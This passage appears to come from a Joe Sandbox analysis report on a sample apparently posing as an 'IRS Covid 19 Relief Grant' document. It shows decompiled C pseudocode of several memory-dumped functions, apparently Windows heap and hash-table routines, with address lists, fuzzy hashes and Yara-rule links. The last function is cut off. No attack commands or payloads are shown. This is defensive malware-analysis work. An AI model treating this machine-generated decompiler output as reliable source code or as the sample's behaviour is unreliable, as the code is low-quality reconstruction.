				signed int _t170;
				unsigned int _t173;
				signed int* _t174;
				signed int _t175;
				intOrPtr* _t177;
				signed int _t178;
				signed int _t179;
				signed int _t180;
				signed char _t183;
				intOrPtr _t184;
				unsigned int _t186;
				unsigned int _t187;

				_push( *0x1e35634c);
				_t119 = __ecx;
				_t184 = __edx;
				_push( *0x1e356348);
				_v20 = __ecx;
				_push(0);
				_t129 = 0xc;
				_t80 = E1E32BBBB(_t129, _t129);
				_t130 = _t80;
				_v16 = _t130;
				if(_t130 == 0) {
					return _t80;
				}
				 *((intOrPtr*)(_t130 + 8)) = _a4;
				_t82 =  &(__ecx[1]);
				 *((intOrPtr*)(_t130 + 4)) = _t184;
				_v36 =  &(__ecx[1]);
				E1E282280( &(__ecx[1]), _t82);
				_v12 = 1;
				 *_t119 =  *((intOrPtr*)( *[fs:0x18] + 0x24));
				_t120 = _t119 + 8;
				_t175 =  *(_t120 + 4);
				_t87 = _t175 >> 5;
				if( *_t120 < _t87 + _t87) {
					L22:
					_t186 = _t175 >> 5;
					_t177 = _v16;
					_t90 = (_t87 | 0xffffffff) << (_t175 & 0x0000001f) &  *(_t177 + 4);
					_v8 = _t90;
					_t137 =  *(_t120 + 8);
					_v8 = (_v8 >> 0x18) + ((_v8 >> 0x00000010 & 0x000000ff) + ((_t90 >> 0x00000008 & 0x000000ff) + ((_t90 & 0x000000ff) + 0xb15dcb) * 0x25) * 0x25) * 0x25;
					_t67 = _t186 - 1; // 0xffffffdf
					_t164 = _t67 & _v8;
					 *_t177 =  *((intOrPtr*)(_t137 + _t164 * 4));
					 *((intOrPtr*)(_t137 + _t164 * 4)) = _t177;
					 *_t120 =  *_t120 + 1;
					_t178 = 0;
					L23:
					 *_v20 =  *_v20 & 0x00000000;
					E1E27FFB0(_t120, _t178, _v36);
					if(_t178 != 0) {
						E1E32BCD2(_t178,  *0x1e356348,  *0x1e35634c);
					}
					return _v12;
				}
				_t139 = 2;
				_t87 = E1E29F3D5( &_v8, _t87 * _t139, _t87 * _t139 >> 0x20);
				if(_t87 < 0) {
					goto L22;
				}
				_t187 = _v8;
				if(_t187 < 4) {
					_t187 = 4;
				}
				_push(0);
				_t87 = E1E320150(_t187 << 2);
				_t179 = _t87;
				_v8 = _t179;
				if(_t179 == 0) {
					_t175 =  *(_t120 + 4);
					if(_t175 >= 0x20) {
						goto L22;
					}
					_v12 = _v12 & 0x00000000;
					_t178 = _v16;
					goto L23;
				} else {
					_t19 = _t187 - 1; // 0x3
					_t141 = _t19;
					if((_t187 & _t141) == 0) {
						L10:
						if(_t187 > 0x4000000) {
							_t187 = 0x4000000;
						}
						_v28 = _v28 & 0x00000000;
						_t167 = _t187 << 2;
						_t107 = _t120 | 0x00000001;
						_v24 = _t179;
						_t168 = _t167 >> 2;
						asm("sbb ecx, ecx");
						_t144 =  !(_t167 + _t179) & _t168;
						if(_t144 <= 0) {
							L15:
							_t180 = 0;
							_t170 = (_t168 | 0xffffffff) << ( *(_t120 + 4) & 0x0000001f);
							_v24 = _t170;
							if(( *(_t120 + 4) & 0xffffffe0) <= 0) {
								L20:
								_t147 =  *(_t120 + 8);
								_t87 = _v8;
								_t175 =  *(_t120 + 4) & 0x0000001f | _t187 << 0x00000005;
								 *(_t120 + 8) = _t87;
								 *(_t120 + 4) = _t175;
								if( *(_t120 + 8) != 0) {
									_push(0);
									_t87 = E1E320180(_t147);
									_t175 =  *(_t120 + 4);
								}
								goto L22;
							} else {
								goto L16;
							}
							do {
								L16:
								_t121 =  *(_t120 + 8);
								_v32 = _t121;
								while(1) {
									_t148 =  *(_t121 + _t180 * 4);
									_v28 = _t148;
									if((_t148 & 0x00000001) != 0) {
										goto L19;
									}
									 *(_t121 + _t180 * 4) =  *_t148;
									_t124 =  *(_t148 + 4) & _t170;
									_t173 = _v8;
									_t154 = _t187 - 0x00000001 & (( *(_t148 + 4) & _t170) >> 0x00000018) + ((( *(_t148 + 4) & _t170) >> 0x00000010 & 0x000000ff) + ((_t124 >> 0x00000008 & 0x000000ff) + ((_t124 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
									_t127 = _v28;
									 *_t127 =  *(_t173 + _t154 * 4);
									 *(_t173 + _t154 * 4) = _t127;
									_t170 = _v24;
									_t121 = _v32;
								}
								L19:
								_t180 = _t180 + 1;
								_t120 =  &(_v20[2]);
							} while (_t180 <  *(_t120 + 4) >> 5);
							goto L20;
						} else {
							_t174 = _t179;
							_t183 = _v28;
							do {
								_t183 = _t183 + 1;
								 *_t174 = _t107;
								_t174 =  &(_t174[1]);
							} while (_t183 < _t144);
							goto L15;
						}
					}
					_t155 = _t141 | 0xffffffff;
					if(_t187 == 0) {
						L9:
						_t187 = 1 << _t155;
						goto L10;
					} else {
						goto L8;
					}
					do {
						L8:
						_t155 = _t155 + 1;
						_t187 = _t187 >> 1;
					} while (_t187 != 0);
					goto L9;
				}
			}

0x1e3203e5
0x1e3203eb
0x1e3203ed
0x1e3203ef
0x1e3203f5
0x1e3203f8
0x1e3203fc
0x1e3203ff
0x1e320404
0x1e320406
0x1e32040b
0x1e320619
0x1e320619
0x1e320414
0x1e320417
0x1e32041b
0x1e32041e
0x1e320421
0x1e32042c
0x1e320436
0x1e320438
0x1e32043b
0x1e320440
0x1e320448
0x1e32058e
0x1e320596
0x1e32059b
0x1e3205a0
0x1e3205a3
0x1e3205d1
0x1e3205d6
0x1e3205d9
0x1e3205dc
0x1e3205e2
0x1e3205e4
0x1e3205e7
0x1e3205e9
0x1e3205eb
0x1e3205f1
0x1e3205f4
0x1e3205fb
0x1e32060b
0x1e32060b
0x00000000
0x1e320610
0x1e320450
0x1e320458
0x1e32045f
0x00000000
0x00000000
0x1e320465
0x1e32046b
0x1e32046f
0x1e32046f
0x1e320472
0x1e320478
0x1e32047d
0x1e32047f
0x1e320484
0x1e32061c
0x1e320622
0x00000000
0x00000000
0x1e320628
0x1e32062c
0x00000000
0x1e32048a
0x1e32048a
0x1e32048a
0x1e32048f
0x1e3204a2
0x1e3204a9
0x1e3204ab
0x1e3204ab
0x1e3204ad
0x1e3204b3
0x1e3204b8
0x1e3204bb
0x1e3204c1
0x1e3204c6
0x1e3204ca
0x1e3204cc
0x1e3204dd
0x1e3204e6
0x1e3204e8
0x1e3204f1
0x1e3204f4
0x1e320568
0x1e32056b
0x1e320571
0x1e320577
0x1e320579
0x1e32057c
0x1e320581
0x1e320583
0x1e320586
0x1e32058b
0x1e32058b
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3204f6
0x1e3204f6
0x1e3204f6
0x1e3204f9
0x1e3204fc
0x1e3204fc
0x1e3204ff
0x1e320505
0x00000000
0x00000000
0x1e320509
0x1e32050f
0x1e320532
0x1e320542
0x1e320544
0x1e32054a
0x1e32054c
0x1e32054f
0x1e320552
0x1e320552
0x1e320557
0x1e32055a
0x1e32055b
0x1e320564
0x00000000
0x1e3204ce
0x1e3204ce
0x1e3204d0
0x1e3204d3
0x1e3204d3
0x1e3204d4
0x1e3204d6
0x1e3204d9
0x00000000
0x1e3204d3
0x1e3204cc
0x1e320491
0x1e320496
0x1e32049d
0x1e3204a0
0x00000000
0x00000000
0x00000000
0x00000000
0x1e320498
0x1e320498
0x1e320498
0x1e320499
0x1e320499
0x00000000
0x1e320498

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbfd62381b89816613e41e662ffdef8bd7e98b1a82da00d28483e5ac06d961e3
Instruction ID: ad03c5247811a08f9e2fede71df3640ace385fa1a5a77d2be751f5189afa34a7
Opcode Fuzzy Hash: dbfd62381b89816613e41e662ffdef8bd7e98b1a82da00d28483e5ac06d961e3
Instruction Fuzzy Hash: 67719E76A002169BDB18CF58C8D0B69FBB6EB88310F658269D895AF385C731E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E31FA2B, Relevance: .2, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 25%

			E1E31FA2B(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t98;
				signed char _t106;
				intOrPtr _t107;
				signed char _t114;
				signed short _t116;
				signed short _t117;
				signed short _t121;
				signed short _t123;
				signed int* _t127;
				signed int _t128;
				signed int _t130;
				signed short _t134;
				void* _t135;
				signed int* _t136;
				void* _t138;
				signed int _t148;
				signed int _t154;
				signed int _t156;
				signed int _t157;
				intOrPtr _t163;
				intOrPtr _t168;
				void* _t169;
				intOrPtr _t171;

				_t157 = __edx;
				_push(0x2c);
				_push(0x1e340e38);
				_t98 = E1E2BD08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t169 - 0x34)) = __edx;
				_t168 = __ecx;
				 *((intOrPtr*)(_t169 - 0x38)) = __ecx;
				 *((intOrPtr*)(_t169 - 0x20)) = 0;
				 *((intOrPtr*)(_t169 - 0x1c)) = 0;
				_t171 =  *0x1e357bc8; // 0x0
				if(_t171 == 0) {
					 *((intOrPtr*)(_t169 - 4)) = 0;
					_t148 =  *__edx;
					 *(_t169 - 0x2c) = _t148 & 0x0000ffff;
					 *(_t169 - 0x28) = _t148 >> 0x18;
					 *(_t169 - 0x24) = _t148 >> 8;
					_t106 = _t148 >> 0x10;
					if(( *(__ecx + 0x4c) & _t148) == 0) {
						 *((intOrPtr*)(_t169 - 0x1c)) = 0xa;
						if(( *(__ecx + 0x40) & 0x04000000) != 0 ||  *(_t169 - 0x28) == (_t106 ^ _t148 ^  *(_t169 - 0x24))) {
							_t148 =  *(_t169 - 0x2c) & 0x0000ffff;
							 *((intOrPtr*)(_t169 - 0x1c)) = 1;
							_t114 =  *((intOrPtr*)(_t157 + 6));
							if(_t114 == 0) {
								_t163 = _t168;
							} else {
								_t163 = (1 - (_t114 & 0x000000ff) << 0x10) + (_t157 & 0xffff0000);
							}
							 *((intOrPtr*)(_t169 - 0x20)) = _t163;
							_t116 = _t148 & 0x0000ffff;
							if( *((intOrPtr*)(_t163 + 8)) == 0xffeeffee) {
								_t148 =  *((intOrPtr*)(_t157 + 7));
								if(_t148 == 4) {
									L12:
									_t117 = _t116 & 0x0000ffff;
									 *(_t169 - 0x2c) = _t117;
									 *((intOrPtr*)(_t169 - 0x1c)) = 3;
									if(_t148 != 3) {
										 *((intOrPtr*)(_t169 - 0x1c)) = 6;
										_t148 =  *(_t168 + 0x54) & 0x0000ffff;
										 *(_t169 - 0x24) = _t148;
										_push(0);
										_pop(0);
										if(( *(_t157 + 4 + (_t117 & 0x0000ffff) * 8) ^ _t148) ==  *(_t169 - 0x2c)) {
											_t121 = _t148;
											goto L23;
										}
									} else {
										_t30 = _t157 + 8; // 0x8
										_t148 = _t30;
										_t130 =  *(_t148 + 0x10);
										if((_t130 & 0x00000fff) == 0 && _t130 >=  *((intOrPtr*)(_t163 + 0x1c)) &&  *((intOrPtr*)(_t148 + 0x14)) +  *(_t148 + 0x10) <=  *((intOrPtr*)(_t163 + 0x28))) {
											 *((intOrPtr*)(_t169 - 0x1c)) = 4;
											_t148 =  *_t148;
											_t134 =  *( *(_t157 + 0xc));
											 *(_t169 - 0x2c) = _t134;
											if(_t134 ==  *((intOrPtr*)(_t148 + 4))) {
												_t42 = _t157 + 8; // 0x8
												_t135 = _t42;
												if( *(_t169 - 0x2c) == _t135) {
													 *((intOrPtr*)(_t169 - 0x1c)) = 5;
													_t136 = _t135 + 8;
													 *(_t169 - 0x2c) = _t136;
													_t148 =  *_t136;
													_t138 =  *(_t136[1]);
													if(_t138 ==  *((intOrPtr*)(_t148 + 4)) && _t138 ==  *(_t169 - 0x2c)) {
														_t121 =  *(_t168 + 0x54) & 0x0000ffff;
														 *(_t169 - 0x24) = _t121;
														L23:
														 *((intOrPtr*)(_t169 - 0x1c)) = 7;
														_t148 =  *(_t157 + 4) & 0x0000ffff;
														if(_t121 == _t148) {
															L31:
															 *((intOrPtr*)(_t169 - 0x1c)) = 8;
															if(( *(_t157 + 2) & 0x00000001) != 0) {
																L34:
																 *((intOrPtr*)(_t169 - 0x1c)) = 9;
															} else {
																_t148 =  *(_t157 + 8);
																_t123 =  *( *(_t157 + 0xc));
																 *(_t169 - 0x2c) = _t123;
																if(_t123 ==  *((intOrPtr*)(_t148 + 4)) &&  *(_t169 - 0x2c) == _t157 + 8) {
																	goto L34;
																}
															}
														} else {
															_t127 = _t157 - ((_t148 ^ _t121 & 0x0000ffff) << 3);
															if( *(_t168 + 0x4c) == 0) {
																_t128 =  *_t127;
																_t154 =  *(_t169 - 0x24) & 0x0000ffff;
															} else {
																_t156 =  *_t127;
																 *(_t169 - 0x30) = _t156;
																if(( *(_t168 + 0x4c) & _t156) == 0) {
																	_t128 = _t156;
																} else {
																	_t128 =  *(_t168 + 0x50) ^ _t156;
																	 *(_t169 - 0x30) = _t128;
																}
																_t154 =  *(_t168 + 0x54) & 0x0000ffff;
															}
															 *(_t169 - 0x24) = _t154;
															_t148 =  *(_t157 + 4) & 0x0000ffff ^  *(_t169 - 0x24);
															if(_t128 == _t148) {
																goto L31;
															}
														}
													}
												}
											}
										}
									}
								} else {
									 *((intOrPtr*)(_t169 - 0x1c)) = 2;
									if(_t157 >=  *((intOrPtr*)(_t163 + 0x1c)) && _t157 <  *((intOrPtr*)(_t163 + 0x28)) &&  *((intOrPtr*)(_t163 + 0x18)) == _t168) {
										goto L12;
									}
								}
							}
						}
					}
					 *((intOrPtr*)(_t169 - 4)) = 0xfffffffe;
					if( *(_t168 + 0x4c) != 0) {
						 *(_t157 + 3) =  *(_t157 + 2) ^  *(_t157 + 1) ^  *_t157;
						 *_t157 =  *_t157 ^  *(_t168 + 0x50);
					}
					_t107 =  *((intOrPtr*)(_t169 - 0x1c));
					if(_t107 > 0xa) {
						L45:
						_push(_t148);
						_push(0);
						_push( *((intOrPtr*)(_t169 - 0x1c)));
						_push(_t157);
						_push(2);
						goto L46;
					} else {
						switch( *((intOrPtr*)(( *(_t107 + 0x1e31fcfb) & 0x000000ff) * 4 +  &M1E31FCE3))) {
							case 0:
								_push(_t148);
								_push(0);
								_push( *((intOrPtr*)(_t169 - 0x1c)));
								_push(_t157);
								_push(3);
								goto L46;
							case 1:
								_push(__ecx);
								_push(__ebx);
								_push( *((intOrPtr*)(__edi + 0x18)));
								_push(__edx);
								_push(0xc);
								goto L46;
							case 2:
								_push(__ecx);
								_push(__ebx);
								_push(3);
								_push(__edx);
								__ecx = 0;
								goto L47;
							case 3:
								_push(__ecx);
								_push(__ebx);
								_push( *((intOrPtr*)(__ebp - 0x1c)));
								_push(__edx);
								_push(0xe);
								goto L46;
							case 4:
								_push(__ecx);
								_push(__ebx);
								_push(8);
								_push(__edx);
								_push(0xd);
								L46:
								goto L47;
							case 5:
								goto L45;
						}
					}
					L47:
					_t98 = E1E32A80D(_t168);
				}
				return E1E2BD0D1(_t98);
			}

0x1e31fa2b
0x1e31fa2b
0x1e31fa2d
0x1e31fa32
0x1e31fa37
0x1e31fa3a
0x1e31fa3c
0x1e31fa43
0x1e31fa46
0x1e31fa49
0x1e31fa4f
0x1e31fa55
0x1e31fa58
0x1e31fa5d
0x1e31fa65
0x1e31fa6d
0x1e31fa72
0x1e31fa78
0x1e31fa7e
0x1e31fa8c
0x1e31faa2
0x1e31faa7
0x1e31faaa
0x1e31faaf
0x1e31fac4
0x1e31fab1
0x1e31fac0
0x1e31fac0
0x1e31fac8
0x1e31facb
0x1e31fad5
0x1e31fadb
0x1e31fae1
0x1e31fb05
0x1e31fb05
0x1e31fb08
0x1e31fb0b
0x1e31fb15
0x1e31fb98
0x1e31fb9f
0x1e31fba5
0x1e31fbb4
0x1e31fbb6
0x1e31fbb7
0x1e31fbbd
0x00000000
0x1e31fbbd
0x1e31fb17
0x1e31fb17
0x1e31fb17
0x1e31fb1a
0x1e31fb22
0x1e31fb40
0x1e31fb47
0x1e31fb4c
0x1e31fb4e
0x1e31fb54
0x1e31fb5a
0x1e31fb5a
0x1e31fb60
0x1e31fb66
0x1e31fb6d
0x1e31fb70
0x1e31fb73
0x1e31fb78
0x1e31fb7d
0x1e31fb8c
0x1e31fb90
0x1e31fbbf
0x1e31fbbf
0x1e31fbc6
0x1e31fbcd
0x1e31fc18
0x1e31fc18
0x1e31fc23
0x1e31fc3d
0x1e31fc3d
0x1e31fc25
0x1e31fc25
0x1e31fc2b
0x1e31fc2d
0x1e31fc33
0x00000000
0x00000000
0x1e31fc33
0x1e31fbcf
0x1e31fbd9
0x1e31fbdf
0x1e31fc00
0x1e31fc06
0x1e31fbe1
0x1e31fbe1
0x1e31fbe3
0x1e31fbe9
0x1e31fbf5
0x1e31fbeb
0x1e31fbee
0x1e31fbf0
0x1e31fbf0
0x1e31fbf7
0x1e31fbfb
0x1e31fc09
0x1e31fc10
0x1e31fc16
0x00000000
0x00000000
0x1e31fc16
0x1e31fbcd
0x1e31fb7d
0x1e31fb60
0x1e31fb54
0x1e31fb22
0x1e31fae3
0x1e31fae3
0x1e31faed
0x00000000
0x00000000
0x1e31faed
0x1e31fae1
0x1e31fad5
0x1e31fa8c
0x1e31fc44
0x1e31fc72
0x1e31fc7c
0x1e31fc82
0x1e31fc82
0x1e31fc84
0x1e31fc8a
0x1e31fcca
0x1e31fcca
0x1e31fccb
0x1e31fccc
0x1e31fccf
0x1e31fcd0
0x00000000
0x1e31fc8c
0x1e31fc93
0x00000000
0x1e31fc9a
0x1e31fc9b
0x1e31fc9c
0x1e31fc9f
0x1e31fca0
0x00000000
0x00000000
0x1e31fca4
0x1e31fca5
0x1e31fca6
0x1e31fca9
0x1e31fcaa
0x00000000
0x00000000
0x1e31fcae
0x1e31fcaf
0x1e31fcb0
0x1e31fcb2
0x1e31fcb3
0x00000000
0x00000000
0x1e31fcb7
0x1e31fcb8
0x1e31fcb9
0x1e31fcbc
0x1e31fcbd
0x00000000
0x00000000
0x1e31fcc1
0x1e31fcc2
0x1e31fcc3
0x1e31fcc5
0x1e31fcc6
0x1e31fcd2
0x00000000
0x00000000
0x00000000
0x00000000
0x1e31fc93
0x1e31fcd3
0x1e31fcd5
0x1e31fcd5
0x1e31fcdf

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cc0d7ec75cd7b5470d0b9f84d809ec4c750bc2c1118f665d6d9dce89ec15016
Instruction ID: 5b340d38c9cb476c2eccc018723074008dc6937f00bd164735f61bf2bc73d038
Opcode Fuzzy Hash: 5cc0d7ec75cd7b5470d0b9f84d809ec4c750bc2c1118f665d6d9dce89ec15016
Instruction Fuzzy Hash: BE816B709006569FDB08CF69C490AAAFBF6FF58304F54835EE845AF681D3749882DF64

Uniqueness

Uniqueness Score: -1.00%

Function 1E32DBD2, Relevance: .2, Instructions: 212
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E1E32DBD2(intOrPtr* __ecx, unsigned int __edx, intOrPtr _a4, signed int _a8) {
				char _v5;
				signed short _v12;
				signed int _v16;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed short _v40;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int* _t75;
				signed short _t77;
				intOrPtr _t78;
				signed int _t92;
				signed int _t98;
				signed int _t99;
				signed short _t105;
				unsigned int _t108;
				signed int _t112;
				signed int _t119;
				signed int _t124;
				intOrPtr _t137;
				signed char _t139;
				signed int _t140;
				unsigned int _t141;
				signed char _t142;
				intOrPtr _t152;
				signed int _t153;
				signed int _t158;
				signed int _t159;
				intOrPtr _t172;
				signed int _t176;
				signed int _t178;
				signed short _t182;
				intOrPtr _t183;

				_t119 = __edx;
				_v20 = __ecx;
				_t152 = _a4;
				_t172 = 0;
				_t182 = __edx >> 0x0000000c ^  *(__edx + 0x18) ^  *0x1e356114;
				_v16 = __edx;
				_v36 = 0;
				_v5 = 0xff;
				_v40 = _t182;
				_v24 = _t182 >> 0x10;
				if(_t152 == 0) {
					L14:
					_t124 =  *(_t119 + 0x12) & 0x0000ffff;
					_v24 = _t124;
					_t183 = _v36;
					_t53 = _t119 + 0x10; // 0x10
					_t75 = _t53;
					_v28 = _t75;
					_t77 =  *_t75 & 0x0000ffff;
					_v12 = _t77;
					L15:
					while(1) {
						if(_t183 != 0) {
							L20:
							_t153 = _t77 + 0x00000001 & 0x0000ffff;
							asm("lock cmpxchg [ebx], cx");
							_t119 = _v16;
							_t77 = _t77 & 0x0000ffff;
							_v12 = _t77;
							if(_t153 == (_t77 & 0x0000ffff) + 1) {
								if(_t77 == 0) {
									_t78 = _t172;
									L27:
									_t119 = L1E32D016(_t119, _t183, _t119, _t78);
									E1E27FFB0(_t119, _t172, _t183 + 8);
									_t183 = _t172;
									if(_t119 != 0) {
										E1E32C52D(_v20,  *((intOrPtr*)(_v20 + 0x78 + ( *(((_v40 & 0x0000ffff) + 7 >> 3) + 0x1e24aff8) & 0x000000ff) * 4)), _t119, _a8);
									}
									L29:
									_t172 = 1;
									if(_t183 != 0) {
										_t72 = _t183 + 8; // 0x8
										E1E27FFB0(_t119, 1, _t72);
									}
									L31:
									return _t172;
								}
								if((_t77 & 0x0000ffff) != _v24 - 1) {
									goto L29;
								}
								_t78 = 2;
								goto L27;
							}
							_t124 = _v24;
							continue;
						}
						if(_t77 == 0 || (_t77 & 0x0000ffff) == _t124 - 1) {
							_t183 = E1E32E018(_t119,  &_v5);
							if(_t183 == 0) {
								_t172 = 1;
								goto L31;
							}
							goto L19;
						} else {
							L19:
							_t77 = _v12;
							goto L20;
						}
					}
				}
				_t92 = _t182 & 0x0000ffff;
				_v28 = _t92;
				_t137 =  *((intOrPtr*)(__ecx + 0x78 + ( *((_t92 + 7 >> 3) + 0x1e24aff8) & 0x000000ff) * 4));
				_t98 =  *((intOrPtr*)(_t137 + 0x24));
				_t158 = _t152 - (_v24 & 0x0000ffff) - __edx;
				_v24 = _t98;
				_t99 = _t158;
				_v32 = _t158;
				_t139 =  *(_t137 + 0x28) & 0x000000ff;
				if(_t98 == 0) {
					_v12 = _t99 >> _t139;
					_t159 = _t158 & (1 << _t139) - 0x00000001;
					_t105 = _v12;
				} else {
					_t105 = E1E2AD340(_t99 * _v24, _t139, _t99 * _v24 >> 0x20);
					_v12 = _t105;
					_t159 = _v32 - _v28 * _t105;
				}
				if(_t159 == 0) {
					_t140 =  *(_t119 + 0x14) & 0x0000ffff;
					if(_t140 >= _t105) {
						_t140 = _t105 & 0x0000ffff;
					}
					 *(_t119 + 0x14) = _t140;
					_t141 = _t105 + _t105;
					_t142 = _t141 & 0x0000001f;
					_t176 = 3;
					_t178 =  !(_t176 << _t142);
					_t108 =  *(_t119 + (_t141 >> 5) * 4 + 0x20);
					do {
						asm("lock cmpxchg [ebx], edx");
					} while ((_t108 & _t178) != 0);
					if((_t108 >> _t142 & 0x00000001) != 0) {
						_t119 = _v16;
						_t172 = 0;
						if( *((char*)(_t119 + 0x1d)) > 1) {
							_t112 = E1E32D864(_t119, _a4 - _t119, _t182 & 0x0000ffff, 0,  &_v32);
							_t184 = _t112;
							if(_t112 != 0xffffffff) {
								asm("lock xadd [ecx], edx");
								E1E32D8DF(_v20, _t119, _t184, 2, _a8);
							}
						}
						goto L14;
					}
					_push(_t142);
					_push(_v12);
					E1E32A80D( *_v20, 0x11, _a4, _v16);
					_t172 = 0;
				}
			}

0x1e32dbdc
0x1e32dbde
0x1e32dbe1
0x1e32dbed
0x1e32dbef
0x1e32dbf7
0x1e32dbfd
0x1e32dc00
0x1e32dc04
0x1e32dc07
0x1e32dc0c
0x1e32dd1f
0x1e32dd1f
0x1e32dd23
0x1e32dd26
0x1e32dd29
0x1e32dd29
0x1e32dd2c
0x1e32dd32
0x1e32dd35
0x00000000
0x1e32dd38
0x1e32dd3a
0x1e32dd5d
0x1e32dd63
0x1e32dd69
0x1e32dd6e
0x1e32dd71
0x1e32dd78
0x1e32dd7d
0x1e32dd8c
0x1e32dd9e
0x1e32dda0
0x1e32ddad
0x1e32ddb0
0x1e32ddb5
0x1e32ddb9
0x1e32ddd9
0x1e32ddd9
0x1e32ddde
0x1e32dde0
0x1e32dde3
0x1e32dde5
0x1e32dde9
0x1e32dde9
0x1e32ddee
0x1e32ddf6
0x1e32ddf6
0x1e32dd97
0x00000000
0x00000000
0x1e32dd9b
0x00000000
0x1e32dd9b
0x1e32dd7f
0x00000000
0x1e32dd7f
0x1e32dd3f
0x1e32dd54
0x1e32dd58
0x1e32dd86
0x00000000
0x1e32dd86
0x00000000
0x1e32dd5a
0x1e32dd5a
0x1e32dd5a
0x00000000
0x1e32dd5a
0x1e32dd3f
0x1e32dd38
0x1e32dc12
0x1e32dc15
0x1e32dc25
0x1e32dc31
0x1e32dc34
0x1e32dc3b
0x1e32dc3e
0x1e32dc40
0x1e32dc43
0x1e32dc46
0x1e32dc62
0x1e32dc6b
0x1e32dc6d
0x1e32dc48
0x1e32dc4b
0x1e32dc59
0x1e32dc5c
0x1e32dc5c
0x1e32dc72
0x1e32dc78
0x1e32dc7f
0x1e32dc81
0x1e32dc81
0x1e32dc84
0x1e32dc88
0x1e32dc8d
0x1e32dc95
0x1e32dc9b
0x1e32dca0
0x1e32dca2
0x1e32dca6
0x1e32dca6
0x1e32dcb0
0x1e32dcd1
0x1e32dcd4
0x1e32dcda
0x1e32dcec
0x1e32dcf1
0x1e32dcf6
0x1e32dd0c
0x1e32dd1a
0x1e32dd1a
0x1e32dcf6
0x00000000
0x1e32dcda
0x1e32dcb5
0x1e32dcb6
0x1e32dcc5
0x1e32dcca
0x1e32dcca

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c02cca85d297f9d14ec7db7d817f159f3835c47ffce70653ce41809118f38fba
Instruction ID: c29624b27a8644373180ae54eb88a86b617c23834405510e0637cebff9cf467f
Opcode Fuzzy Hash: c02cca85d297f9d14ec7db7d817f159f3835c47ffce70653ce41809118f38fba
Instruction Fuzzy Hash: FE71D775E0056A9FCB04CF69C4949BEB7F6EF88210B914379E895EB384D734D942CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E3328EC, Relevance: .2, Instructions: 211
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E1E3328EC(signed int __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				unsigned int _t62;
				unsigned int _t69;
				signed int _t71;
				signed int _t72;
				signed int _t77;
				intOrPtr _t85;
				unsigned int _t95;
				signed int _t98;
				signed int _t100;
				void* _t104;
				signed short _t108;
				signed int _t113;
				intOrPtr _t115;
				signed int _t116;
				intOrPtr _t117;
				signed int _t118;
				intOrPtr _t120;
				signed int _t121;
				signed int _t122;
				signed int _t124;
				signed int _t125;
				signed int _t126;
				signed int _t136;
				signed int _t137;
				signed int _t140;
				signed int _t145;
				signed int _t147;
				signed int _t148;
				void* _t156;

				_t115 = _a4;
				_v40 = __edx;
				_t147 = __ecx;
				_v20 = __ecx;
				if(__edx != _t115) {
					_t115 = _t115 + 2;
				}
				_t62 = _t115 + 7 >> 3;
				_t120 = _t62 + 1;
				_v28 = _t120;
				if(( *(_t147 + 0x38) & 0x00000001) != 0) {
					_t120 = _t62 + 2;
					_v28 = _t120;
				}
				_t64 = _t120 + _t120 & 0x0000ffff;
				_t136 = _a8 & 0x00000001;
				_v36 = _t120 + _t120 & 0x0000ffff;
				_v12 = _t136;
				if(_t136 == 0) {
					E1E282280(_t64, _t147);
					_t136 = _v12;
				}
				_v5 = 0xff;
				while(1) {
					L7:
					_t121 = 0;
					_t145 =  *(_t147 + 8);
					_v24 =  *(_t147 + 0xc) & 1;
					_v16 = 0;
					if(_t145 == 0) {
						goto L17;
					}
					_t108 =  *0x1e356110; // 0x3c48ecc
					_v32 = _t108 & 0x0000ffff;
					do {
						_t156 = _v36 - ( *(_t145 - 4) & 0x0000ffff ^ _t145 - 0x00000004 & 0x0000ffff ^ _v32);
						if(_t156 < 0) {
							__eflags = _v24;
							_t121 = _t145;
							_t113 =  *_t145;
							_v16 = _t121;
							if(_v24 == 0) {
								L15:
								_t145 = _t113;
								goto L16;
							}
							__eflags = _t113;
							if(_t113 == 0) {
								goto L15;
							}
							_t145 = _t145 ^ _t113;
							goto L16;
						}
						if(_t156 <= 0) {
							L18:
							if(_t145 != 0) {
								_t122 =  *0x1e356110; // 0x3c48ecc
								_t36 = _t145 - 4; // -4
								_t116 = _t36;
								_t137 = _t116;
								_t69 =  *_t116 ^ _t122 ^ _t116;
								__eflags = _t69;
